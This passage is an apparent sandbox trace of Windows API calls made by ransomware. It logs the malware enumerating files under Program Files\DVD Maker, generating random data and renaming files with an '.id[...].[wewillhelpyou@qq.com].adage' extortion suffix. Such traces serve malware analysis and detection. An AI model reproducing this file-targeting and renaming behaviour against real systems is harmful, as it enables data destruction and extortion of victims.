maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.560] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0 [0060.560] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.561] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6765684) returned 1 [0060.561] CloseHandle (hObject=0x1a4) returned 1 [0060.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0x20 [0060.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0 [0060.562] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.562] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2925684) returned 1 [0060.562] CloseHandle (hObject=0x1a4) returned 1 [0060.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0x20 [0060.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0 [0060.563] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.563] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3037684) returned 1 [0060.563] CloseHandle (hObject=0x1a4) returned 1 [0060.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0060.563] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.563] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0 [0060.563] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.564] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=9170) returned 1 [0060.564] CloseHandle (hObject=0x1a4) returned 1 [0060.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0060.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.564] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.565] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0060.565] CloseHandle (hObject=0x1a4) returned 1 [0060.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0060.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.565] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.566] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6440) returned 1 [0060.566] CloseHandle (hObject=0x1a4) returned 1 [0060.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0060.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.566] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.566] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2821) returned 1 [0060.566] CloseHandle (hObject=0x1a4) returned 1 [0060.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0060.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.567] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.568] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5620) returned 1 [0060.568] CloseHandle (hObject=0x1a4) returned 1 [0060.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0060.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.568] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.568] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5182) returned 1 [0060.568] CloseHandle (hObject=0x1a4) returned 1 [0060.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0060.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.569] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.569] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0060.569] CloseHandle (hObject=0x1a4) returned 1 [0060.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0060.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.569] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.570] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0060.570] CloseHandle (hObject=0x1a4) returned 1 [0060.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0060.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.570] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.570] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5025) returned 1 [0060.570] CloseHandle (hObject=0x1a4) returned 1 [0060.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0060.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.571] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.571] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0060.571] CloseHandle (hObject=0x1a4) returned 1 [0060.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0060.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.572] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.572] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0060.572] CloseHandle (hObject=0x1a4) returned 1 [0060.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0060.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.572] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.572] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0060.573] CloseHandle (hObject=0x1a4) returned 1 [0060.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0060.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 